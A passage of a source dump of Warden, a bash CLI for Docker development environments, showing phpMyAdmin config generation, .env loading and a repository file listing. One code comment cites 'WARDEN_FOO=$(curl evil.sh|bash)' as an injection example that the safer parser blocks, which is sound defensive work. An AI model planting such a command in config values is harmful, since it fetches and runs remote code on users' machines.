  if [[ "${WARDEN_PHPMYADMIN_ENABLE}" == 1 ]]; then
    >&2 echo "Regenerating phpMyAdmin configuration..."
    pma_config_file="${WARDEN_HOME_DIR}/etc/phpmyadmin/config.user.inc.php"
    mkdir -p "$(dirname "$pma_config_file")"
    {
      echo "<?php"
      echo "\$i = 1;"
      for container_id in $(docker ps -q --filter "name=mysql" --filter "name=mariadb" --filter "name=db"); do
        container_name=$(docker inspect --format '{{.Name}}' "${container_id}" | sed 's#^/##')
        container_ip=$(docker inspect --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' "${container_id}")
        MYSQL_ROOT_PASSWORD=$(docker exec "${container_id}" printenv | grep MYSQL_ROOT_PASSWORD | awk -F '=' '{print $2}')
        echo "\$cfg['Servers'][\$i]['host'] = '${container_ip}';"
        echo "\$cfg['Servers'][\$i]['auth_type'] = 'config';"
        echo "\$cfg['Servers'][\$i]['user'] = 'root';"
        echo "\$cfg['Servers'][\$i]['password'] = '${MYSQL_ROOT_PASSWORD}';"
        echo "\$cfg['Servers'][\$i]['AllowNoPassword'] = true;"
        echo "\$cfg['Servers'][\$i]['hide_db'] = '(information_schema|performance_schema|mysql|sys)';"
        echo "\$cfg['Servers'][\$i]['verbose'] = '${container_name}';"
        echo "\$i++;"
      done
    } > "${pma_config_file}"
    >&2 echo "phpMyAdmin configuration regenerated."
  fi
}


================================================
FILE: utils/env.sh
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

function locateEnvPath () {
    local WARDEN_ENV_PATH="$(pwd -P)"
    while [[ "${WARDEN_ENV_PATH}" != "/" ]]; do
        if [[ -f "${WARDEN_ENV_PATH}/.env" ]] \
            && grep "^WARDEN_ENV_NAME" "${WARDEN_ENV_PATH}/.env" >/dev/null \
            && grep "^WARDEN_ENV_TYPE" "${WARDEN_ENV_PATH}/.env" >/dev/null
        then
            break
        fi
        WARDEN_ENV_PATH="$(dirname "${WARDEN_ENV_PATH}")"
    done

    if [[ "${WARDEN_ENV_PATH}" = "/" ]]; then
        >&2 echo -e "\033[31mEnvironment config could not be found. Please run \"warden env-init\" and try again!\033[0m"
        return 1
    fi

    ## Resolve .env symlink should it exist in project sub-directory allowing sub-stacks to use relative link to parent
    WARDEN_ENV_PATH="$(
        cd "$(
            dirname "$(
                (readlink "${WARDEN_ENV_PATH}/.env" || echo "${WARDEN_ENV_PATH}/.env")
            )"
        )" >/dev/null \
        && pwd
    )"

    echo "${WARDEN_ENV_PATH}"
}

## Safely load whitelisted KEY=VALUE pairs from a dotenv-style file.
## Replaces previous `eval "$(grep ...)"` pattern that allowed arbitrary
## command execution if a project's .env contained shell metacharacters
## (e.g. `WARDEN_FOO=$(curl evil.sh|bash)`), which is RCE on `warden env *`.
function loadEnvFile () {
    local envFile="${1}"
    local prefixRegex="${2}"
    [[ ! -f "${envFile}" ]] && return 0

    local line key value
    while IFS= read -r line || [[ -n "${line}" ]]; do
        line="${line%$'\r'}"
        [[ -z "${line}" ]] && continue
        [[ "${line}" =~ ^[[:space:]]*# ]] && continue
        [[ "${line}" != *=* ]] && continue

        key="${line%%=*}"
        value="${line#*=}"

        # Reject anything that is not a POSIX shell identifier (must start with
        # letter or underscore), and require it to match the requested prefix.
        [[ ! "${key}" =~ ^[A-Za-z_][A-Za-z0-9_]*$ ]] && continue
        [[ ! "${key}" =~ ^${prefixRegex} ]] && continue

        # Strip surrounding single or double quotes — but never expand contents.
        if [[ "${value}" =~ ^\"(.*)\"$ ]] || [[ "${value}" =~ ^\'(.*)\'$ ]]; then
            value="${BASH_REMATCH[1]}"
        fi

        printf -v "${key}" '%s' "${value}"
        export "${key?}"
    done < "${envFile}"
}

function loadEnvConfig () {
    local WARDEN_ENV_PATH="${1}"
    loadEnvFile "${WARDEN_ENV_PATH}/.env" "WARDEN_"
    loadEnvFile "${WARDEN_ENV_PATH}/.env" "TRAEFIK_"
    loadEnvFile "${WARDEN_ENV_PATH}/.env" "PHP_"

    WARDEN_ENV_NAME="${WARDEN_ENV_NAME:-}"
    WARDEN_ENV_TYPE="${WARDEN_ENV_TYPE:-}"
    WARDEN_ENV_SUBT=""

    case "${OSTYPE:-undefined}" in
        darwin*)
            WARDEN_ENV_SUBT=darwin
        ;;
        linux*)
            WARDEN_ENV_SUBT=linux
        ;;
        *)
            fatal "Unsupported OSTYPE '${OSTYPE:-undefined}'"
        ;;
    esac

    # Load mutagen settings if available
    if [[ -f "${WARDEN_HOME_DIR}/.env" ]]; then
      loadEnvFile "${WARDEN_HOME_DIR}/.env" "WARDEN_MUTAGEN_ENABLE"
    fi

    ## configure mutagen enable by default for MacOs
    if [[ $OSTYPE =~ ^darwin ]]; then
      export WARDEN_MUTAGEN_ENABLE=${WARDEN_MUTAGEN_ENABLE:-1}
    else
      # Disable mutagen for non-MacOS systems
      export WARDEN_MUTAGEN_ENABLE=0
    fi

    assertValidEnvType
}

function renderEnvNetworkName() {
    echo "${WARDEN_ENV_NAME}_default" | tr '[:upper:]' '[:lower:]'
}

function fetchEnvInitFile () {
    local envInitPath=""

    for ENV_INIT_PATH in \
        "${WARDEN_DIR}/environments/${WARDEN_ENV_TYPE}/init.env" \
        "${WARDEN_HOME_DIR}/environments/${WARDEN_ENV_TYPE}/init.env" \
        "${WARDEN_ENV_PATH}/.warden/environments/${WARDEN_ENV_TYPE}/init.env"
    do
        if [[ -f "${ENV_INIT_PATH}" ]]; then
            envInitPath="${ENV_INIT_PATH}"
        fi
    done

    echo $envInitPath
}

function fetchValidEnvTypes () {
    local lsPaths="${WARDEN_DIR}/environments/"*/*".base.yml"

    if [[ -d "${WARDEN_HOME_DIR}/environments" ]]; then
       lsPaths="${lsPaths} ${WARDEN_HOME_DIR}/environments/"*/*".base.yml"
    fi

    if [[ -d "${WARDEN_ENV_PATH}/.warden/environments" ]]; then
       lsPaths="${lsPaths} ${WARDEN_ENV_PATH}/.warden/environments/"*/*".base.yml"
    fi

    echo $(
        ls -1 $lsPaths \
            | sed -E "s#^${WARDEN_DIR}/environments/##" \
            | sed -E "s#^${WARDEN_HOME_DIR}/environments/##" \
            | sed -E "s#^${WARDEN_ENV_PATH}/.warden/environments/##" \
            | cut -d/ -f1 | sort | uniq | grep -v includes
    )
}

function assertValidEnvType () {
    if [[ -f "${WARDEN_DIR}/environments/${WARDEN_ENV_TYPE}/${WARDEN_ENV_TYPE}.base.yml" ]]; then
        return 0
    fi

    if [[ -f "${WARDEN_HOME_DIR}/environments/${WARDEN_ENV_TYPE}/${WARDEN_ENV_TYPE}.base.yml" ]]; then
        return 0
    fi

    if [[ -f "${WARDEN_ENV_PATH}/.warden/environments/${WARDEN_ENV_TYPE}/${WARDEN_ENV_TYPE}.base.yml" ]]; then
        return 0
    fi

    >&2 echo -e "\033[31mInvalid environment type \"${WARDEN_ENV_TYPE}\" specified.\033[0m"

    return 1
}

function appendEnvPartialIfExists () {
    local PARTIAL_NAME="${1}"
    local PARTIAL_PATH=""

    local BASE_PATHS=(
        "${WARDEN_DIR}/environments/includes"
        "${WARDEN_DIR}/environments/${WARDEN_ENV_TYPE}"
        "${WARDEN_HOME_DIR}/environments/includes"
        "${WARDEN_HOME_DIR}/environments/${WARDEN_ENV_TYPE}"
        "${WARDEN_ENV_PATH}/.warden/environments/includes"
        "${WARDEN_ENV_PATH}/.warden/environments/${WARDEN_ENV_TYPE}"
    )

    if [[ ${WARDEN_MUTAGEN_ENABLE} -eq 0 ]]; then
        local FILE_SUFFIXES=(".base.yml" ".${WARDEN_ENV_SUBT}.yml")
    else
        # Suffix .mutagen.yml is used for mutagen sync configuration
        # so using .mutagen_compose.yml for docker-compose configurations
        local FILE_SUFFIXES=(".base.yml" ".${WARDEN_ENV_SUBT}.yml" ".mutagen_compose.yml")
    fi

    for BASE_PAT
Download .txt
gitextract_yd6isbak/

├── .github/
│   ├── ISSUE_TEMPLATE/
│   │   ├── brew-issue.yml
│   │   ├── config.yml
│   │   ├── image-issue.yml
│   │   └── warden-issue.yml
│   ├── PULL_REQUEST_TEMPLATE/
│   │   ├── bugfix.md
│   │   └── new-feature.md
│   ├── pull_request_template.md
│   └── stale.yml
├── .vscode/
│   └── settings.json
├── CHANGELOG.md
├── LICENSE
├── README.md
├── TODO.md
├── bin/
│   └── warden
├── commands/
│   ├── blackfire.cmd
│   ├── blackfire.help
│   ├── db.cmd
│   ├── db.help
│   ├── debug.cmd
│   ├── debug.help
│   ├── doctor.cmd
│   ├── doctor.help
│   ├── env-init.cmd
│   ├── env-init.help
│   ├── env.cmd
│   ├── env.help
│   ├── install.cmd
│   ├── redis.cmd
│   ├── redis.help
│   ├── shell.cmd
│   ├── shell.help
│   ├── sign-certificate.cmd
│   ├── sign-certificate.help
│   ├── spx.cmd
│   ├── spx.help
│   ├── status.cmd
│   ├── status.help
│   ├── svc.cmd
│   ├── svc.help
│   ├── sync.cmd
│   ├── sync.help
│   ├── usage.cmd
│   ├── usage.help
│   ├── valkey.cmd
│   ├── valkey.help
│   ├── version.cmd
│   ├── vnc.cmd
│   └── vnc.help
├── config/
│   ├── openssl/
│   │   ├── certificate.conf
│   │   └── rootca.conf
│   └── traefik/
│       └── traefik.yml
├── docker/
│   ├── docker-compose.dnsmasq.yml
│   ├── docker-compose.mailpit.yml
│   ├── docker-compose.phpmyadmin.yml
│   ├── docker-compose.portainer.yml
│   └── docker-compose.yml
├── environments/
│   ├── cakephp/
│   │   ├── cakephp.base.yml
│   │   ├── cakephp.darwin.yml
│   │   ├── cakephp.mutagen.yml
│   │   ├── db.base.yml
│   │   └── init.env
│   ├── drupal/
│   │   ├── db.base.yml
│   │   ├── drupal.base.yml
│   │   ├── drupal.mutagen.yml
│   │   ├── drupal.mutagen_compose.yml
│   │   ├── drupal.settings.base.yml
│   │   ├── init.env
│   │   └── init.env.cmd
│   ├── includes/
│   │   ├── allure.base.yml
│   │   ├── blackfire.base.yml
│   │   ├── blackfire.darwin.yml
│   │   ├── blackfire.linux.yml
│   │   ├── db.base.yml
│   │   ├── elastichq.base.yml
│   │   ├── elasticsearch.base.yml
│   │   ├── networks.base.yml
│   │   ├── nginx.base.yml
│   │   ├── nginx.darwin.yml
│   │   ├── opensearch.base.yml
│   │   ├── php-fpm.base.yml
│   │   ├── php-fpm.darwin.yml
│   │   ├── php-fpm.linux.yml
│   │   ├── php-spx.base.yml
│   │   ├── rabbitmq.base.yml
│   │   ├── redis.base.yml
│   │   ├── selenium.base.yml
│   │   ├── valkey.base.yml
│   │   └── varnish.base.yml
│   ├── laravel/
│   │   ├── db.base.yml
│   │   ├── init.env
│   │   └── laravel.base.yml
│   ├── local/
│   │   └── local.base.yml
│   ├── magento1/
│   │   ├── db.base.yml
│   │   ├── init.env
│   │   ├── magento1.base.yml
│   │   ├── magento1.blackfire.mutagen_compose.yml
│   │   ├── magento1.mutagen.yml
│   │   └── magento1.mutagen_compose.yml
│   ├── magento2/
│   │   ├── db.base.yml
│   │   ├── init.env
│   │   ├── magento2.base.yml
│   │   ├── magento2.blackfire.mutagen_compose.yml
│   │   ├── magento2.graphql-debug.base.yml
│   │   ├── magento2.graphql.base.yml
│   │   ├── magento2.graphql.darwin.yml
│   │   ├── magento2.graphql.linux.yml
│   │   ├── magento2.magepack.base.yml
│   │   ├── magento2.magepack.linux.yml
│   │   ├── magento2.magepack.mutagen_compose.yml
│   │   ├── magento2.mutagen.yml
│   │   ├── magento2.mutagen_compose.yml
│   │   ├── magento2.splitdb.checkout.base.yml
│   │   ├── magento2.splitdb.sales.base.yml
│   │   └── magento2.tests.base.yml
│   ├── shopware/
│   │   ├── db.base.yml
│   │   ├── init.env
│   │   ├── shopware.base.yml
│   │   ├── shopware.mutagen.yml
│   │   └── shopware.mutagen_compose.yml
│   ├── symfony/
│   │   ├── db.base.yml
│   │   ├── init.env
│   │   └── symfony.base.yml
│   └── wordpress/
│       ├── db.base.yml
│       ├── init.env
│       └── wordpress.base.yml
├── utils/
│   ├── core.sh
│   ├── env.sh
│   ├── install.sh
│   └── svc.sh
└── version
Condensed preview — 130 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (199K chars).
[
  {
    "path": ".github/ISSUE_TEMPLATE/brew-issue.yml",
    "chars": 1478,
    "preview": "name: Installing or Upgrading through Homebrew\ndescription: Report an issue with the Warden software when installing or "
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "chars": 390,
    "preview": "blank_issues_enabled: false\ncontact_links:\n  - name: Feature Requests\n    about: Post Feature Requests and Ideas in the "
  },
  {
    "path": ".github/ISSUE_TEMPLATE/image-issue.yml",
    "chars": 1934,
    "preview": "name: Image Issue\ndescription: Report an issue with an Image or Service not working as expected\ntitle: '[Image] '\nlabels"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/warden-issue.yml",
    "chars": 1524,
    "preview": "name: Warden Command Issue\ndescription: Report an issue with the Warden software (e.g. `warden` commands, docker compose"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE/bugfix.md",
    "chars": 789,
    "preview": "---\nname: Bug Fix\nabout: Fix a bug with Warden\ntitle: ''\nlabels: bug\nassignees: ''\n\n---\n**Check List**  \n- [ ] Is there "
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE/new-feature.md",
    "chars": 732,
    "preview": "---\nname: New Feature\nabout: Submit a new feature\ntitle: ''\nlabels: enhancement\nassignees: ''\n\n---\n\n**Check List**  \n- ["
  },
  {
    "path": ".github/pull_request_template.md",
    "chars": 1543,
    "preview": "<!-- [BUG] Feel free to delete everything between the bug tags if not a bug -->\n**Check List**\n- [ ] Is there an existin"
  },
  {
    "path": ".github/stale.yml",
    "chars": 674,
    "preview": "# Configuration for probot-stale - https://github.com/probot/stale\n\n# Number of days of inactivity before an Issue or Pu"
  },
  {
    "path": ".vscode/settings.json",
    "chars": 91,
    "preview": "{\n  \"files.exclude\": {\n    \"docs/_build\": true\n  },\n  \"cSpell.words\": [\n    \"appdata\"\n  ]\n}"
  },
  {
    "path": "CHANGELOG.md",
    "chars": 60499,
    "preview": "# Change Log\n\n## UNRELEASED\n[All Commits](https://github.com/wardenenv/warden/compare/0.16.0..main)\n\n**Big Changes:**\n* "
  },
  {
    "path": "LICENSE",
    "chars": 1068,
    "preview": "MIT License\n\nCopyright (c) 2019 David Alger\n\nPermission is hereby granted, free of charge, to any person obtaining a cop"
  },
  {
    "path": "README.md",
    "chars": 3173,
    "preview": "# Warden\n\nWarden is a CLI utility for orchestrating Docker based developer environments, and enables multiple local envi"
  },
  {
    "path": "TODO.md",
    "chars": 257,
    "preview": "* Selenium container hostname contain underscores (should be hyphens)\n* Selenium container versions are not configurable"
  },
  {
    "path": "bin/warden",
    "chars": 3748,
    "preview": "#!/usr/bin/env bash\nset -e\ntrap 'error \"$(printf \"Command \\`%s\\` at $BASH_SOURCE:$LINENO failed with exit code $?\" \"$BAS"
  },
  {
    "path": "commands/blackfire.cmd",
    "chars": 745,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/blackfire.help",
    "chars": 273,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/db.cmd",
    "chars": 2298,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/db.help",
    "chars": 697,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/debug.cmd",
    "chars": 1233,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/debug.help",
    "chars": 269,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/doctor.cmd",
    "chars": 3953,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/doctor.help",
    "chars": 327,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/env-init.cmd",
    "chars": 2021,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/env-init.help",
    "chars": 1784,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/env.cmd",
    "chars": 9508,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/env.help",
    "chars": 485,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/install.cmd",
    "chars": 4399,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/redis.cmd",
    "chars": 704,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/redis.help",
    "chars": 458,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/shell.cmd",
    "chars": 710,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/shell.help",
    "chars": 269,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/sign-certificate.cmd",
    "chars": 2698,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/sign-certificate.help",
    "chars": 312,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/spx.cmd",
    "chars": 698,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/spx.help",
    "chars": 267,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/status.cmd",
    "chars": 2997,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/status.help",
    "chars": 238,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/svc.cmd",
    "chars": 4859,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/svc.help",
    "chars": 485,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/sync.cmd",
    "chars": 4123,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/sync.help",
    "chars": 1006,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/usage.cmd",
    "chars": 1338,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/usage.help",
    "chars": 1802,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/valkey.cmd",
    "chars": 715,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/valkey.help",
    "chars": 462,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/version.cmd",
    "chars": 161,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/vnc.cmd",
    "chars": 1401,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "commands/vnc.help",
    "chars": 268,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "config/openssl/certificate.conf",
    "chars": 628,
    "preview": "[req]\ndistinguished_name = req_distinguished_name\nreq_extensions = v3_req\n\n[req_distinguished_name]\ncountryName = Countr"
  },
  {
    "path": "config/openssl/rootca.conf",
    "chars": 3799,
    "preview": "# OpenSSL root CA configuration file.\n\n[ ca ]\n# `man ca`\ndefault_ca = CA_default\n\n[ CA_default ]\n# Directory and file lo"
  },
  {
    "path": "config/traefik/traefik.yml",
    "chars": 727,
    "preview": "---\napi:\n  dashboard: true\nproviders:\n  file:\n    filename: /etc/traefik/dynamic.yml\n  docker:\n    network: warden\n    d"
  },
  {
    "path": "docker/docker-compose.dnsmasq.yml",
    "chars": 1204,
    "preview": "services:\n\n  dnsmasq:\n    container_name: dnsmasq\n    image: wardenenv/dnsmasq\n    ports:\n      - \"127.0.0.1:53:53/udp\"\n"
  },
  {
    "path": "docker/docker-compose.mailpit.yml",
    "chars": 1236,
    "preview": "services:\n  mailpit:\n    container_name: mailhog\n    image: axllent/mailpit:${WARDEN_MAILPIT_VERSION:-latest}\n    enviro"
  },
  {
    "path": "docker/docker-compose.phpmyadmin.yml",
    "chars": 667,
    "preview": "services:\n  phpmyadmin:\n    container_name: phpmyadmin\n    image: phpmyadmin\n    environment:\n      - PMA_ARBITRARY=1\n  "
  },
  {
    "path": "docker/docker-compose.portainer.yml",
    "chars": 479,
    "preview": "services:\n  portainer:\n    container_name: portainer\n    image: portainer/portainer-ce\n    volumes:\n      - ${WARDEN_DOC"
  },
  {
    "path": "docker/docker-compose.yml",
    "chars": 1471,
    "preview": "services:\n  traefik:\n    container_name: traefik\n    image: traefik:${TRAEFIK_VERSION:-3.6}\n    ports:\n      - \"${TRAEFI"
  },
  {
    "path": "environments/cakephp/cakephp.base.yml",
    "chars": 102,
    "preview": "services:\n  nginx:\n    environment:\n      - NGINX_PUBLIC=/webroot\n      - NGINX_TEMPLATE=/cakephp.conf"
  },
  {
    "path": "environments/cakephp/cakephp.darwin.yml",
    "chars": 178,
    "preview": "\nx-volumes: &volumes\n  - appdata:/var/www/html\n\nservices:\n  nginx: { volumes: *volumes }\n  php-fpm: { volumes: *volumes "
  },
  {
    "path": "environments/cakephp/cakephp.mutagen.yml",
    "chars": 443,
    "preview": "---\nsync:\n  defaults:\n    mode: two-way-resolved\n    watch:\n      pollingInterval: 10\n    ignore:\n      vcs: true\n      "
  },
  {
    "path": "environments/cakephp/db.base.yml",
    "chars": 389,
    "preview": "services:\n  db:\n    environment:\n      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-cakephp}\n      - MYSQL_DATABASE=${MY"
  },
  {
    "path": "environments/cakephp/init.env",
    "chars": 457,
    "preview": "DB_DISTRIBUTION=mariadb\nDB_DISTRIBUTION_VERSION=10.4\nNODE_VERSION=20\nCOMPOSER_VERSION=2\nPHP_VERSION=8.3\nPHP_XDEBUG_3=1\n\n"
  },
  {
    "path": "environments/drupal/db.base.yml",
    "chars": 385,
    "preview": "services:\n  db:\n    environment:\n      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-drupal}\n      - MYSQL_DATABASE=${MYS"
  },
  {
    "path": "environments/drupal/drupal.base.yml",
    "chars": 97,
    "preview": "services:\n  nginx:\n    environment:\n      - NGINX_PUBLIC=/web\n      - NGINX_TEMPLATE=/drupal.conf"
  },
  {
    "path": "environments/drupal/drupal.mutagen.yml",
    "chars": 482,
    "preview": "---\nsync:\n  defaults:\n    mode: two-way-resolved\n    watch:\n      pollingInterval: 10\n    ignore:\n      vcs: true\n      "
  },
  {
    "path": "environments/drupal/drupal.mutagen_compose.yml",
    "chars": 544,
    "preview": "\nx-volumes: &volumes\n  - .${WARDEN_WEB_ROOT:-}/web/sites/default/files:/var/www/html/web/sites/default/files:cached\n  - "
  },
  {
    "path": "environments/drupal/drupal.settings.base.yml",
    "chars": 204,
    "preview": "\nx-volumes: &settings\n  - .${WARDEN_WEB_ROOT:-}/web/sites/default/settings.php:/var/www/html/web/sites/default/settings."
  },
  {
    "path": "environments/drupal/init.env",
    "chars": 394,
    "preview": "DB_DISTRIBUTION=mariadb\nDB_DISTRIBUTION_VERSION=10.4\nNODE_VERSION=18\nCOMPOSER_VERSION=2\nPHP_VERSION=8.2\nPHP_XDEBUG_3=1\n\n"
  },
  {
    "path": "environments/drupal/init.env.cmd",
    "chars": 1488,
    "preview": "# If Drupal directories exist, make sure the minimum user-content upload directories exist\nif [[ -d \"${WARDEN_ENV_PATH}/"
  },
  {
    "path": "environments/includes/allure.base.yml",
    "chars": 1122,
    "preview": "services:\n  allure:\n    hostname: \"${WARDEN_ENV_NAME}-allure\"\n    image: frankescobar/allure-docker-service:latest\n    l"
  },
  {
    "path": "environments/includes/blackfire.base.yml",
    "chars": 1385,
    "preview": "\nx-volumes: &volumes\n  - ${WARDEN_SSL_DIR}/rootca/certs:/etc/ssl/warden-rootca-cert:ro\n  - ${WARDEN_COMPOSER_DIR}:/home/"
  },
  {
    "path": "environments/includes/blackfire.darwin.yml",
    "chars": 114,
    "preview": "services:\n  php-blackfire:\n    volumes:\n      - /run/host-services/ssh-auth.sock:/run/host-services/ssh-auth.sock\n"
  },
  {
    "path": "environments/includes/blackfire.linux.yml",
    "chars": 109,
    "preview": "services:\n  php-blackfire:\n    volumes:\n      - ${SSH_AUTH_SOCK:-/dev/null}:/run/host-services/ssh-auth.sock\n"
  },
  {
    "path": "environments/includes/db.base.yml",
    "chars": 584,
    "preview": "services:\n  php-fpm:\n    depends_on:\n      - db\n\n  db:\n    hostname: \"${WARDEN_ENV_NAME}-mariadb\"\n    image: ${WARDEN_IM"
  },
  {
    "path": "environments/includes/elastichq.base.yml",
    "chars": 587,
    "preview": "services:\n  elasticsearch-hq:\n    hostname: \"${WARDEN_ENV_NAME}-elasticsearch-hq\"\n    image: elastichq/elasticsearch-hq:"
  },
  {
    "path": "environments/includes/elasticsearch.base.yml",
    "chars": 735,
    "preview": "services:\n  elasticsearch:\n    hostname: \"${WARDEN_ENV_NAME}-elasticsearch\"\n    image: ${WARDEN_IMAGE_REPOSITORY}/elasti"
  },
  {
    "path": "environments/includes/networks.base.yml",
    "chars": 143,
    "preview": "networks:\n  default:\n    labels:\n      - dev.warden.environment.name=${WARDEN_ENV_NAME}\n      - dev.warden.environment.t"
  },
  {
    "path": "environments/includes/nginx.base.yml",
    "chars": 729,
    "preview": "services:\n  nginx:\n    hostname: \"${WARDEN_ENV_NAME}-nginx\"\n    image: ${WARDEN_IMAGE_REPOSITORY}/nginx:${NGINX_VERSION:"
  },
  {
    "path": "environments/includes/nginx.darwin.yml",
    "chars": 119,
    "preview": "services:\n  nginx:\n    environment:\n      - XDEBUG_CONNECT_BACK_HOST=${XDEBUG_CONNECT_BACK_HOST:-host.docker.internal}\n"
  },
  {
    "path": "environments/includes/opensearch.base.yml",
    "chars": 715,
    "preview": "services:\n  opensearch:\n    hostname: \"${WARDEN_ENV_NAME}-opensearch\"\n    image: ${WARDEN_IMAGE_REPOSITORY}/opensearch:$"
  },
  {
    "path": "environments/includes/php-fpm.base.yml",
    "chars": 1889,
    "preview": "\nx-volumes: &volumes\n  - ${WARDEN_SSL_DIR}/rootca/certs:/etc/ssl/warden-rootca-cert:ro\n  - ${WARDEN_COMPOSER_DIR}:/home/"
  },
  {
    "path": "environments/includes/php-fpm.darwin.yml",
    "chars": 170,
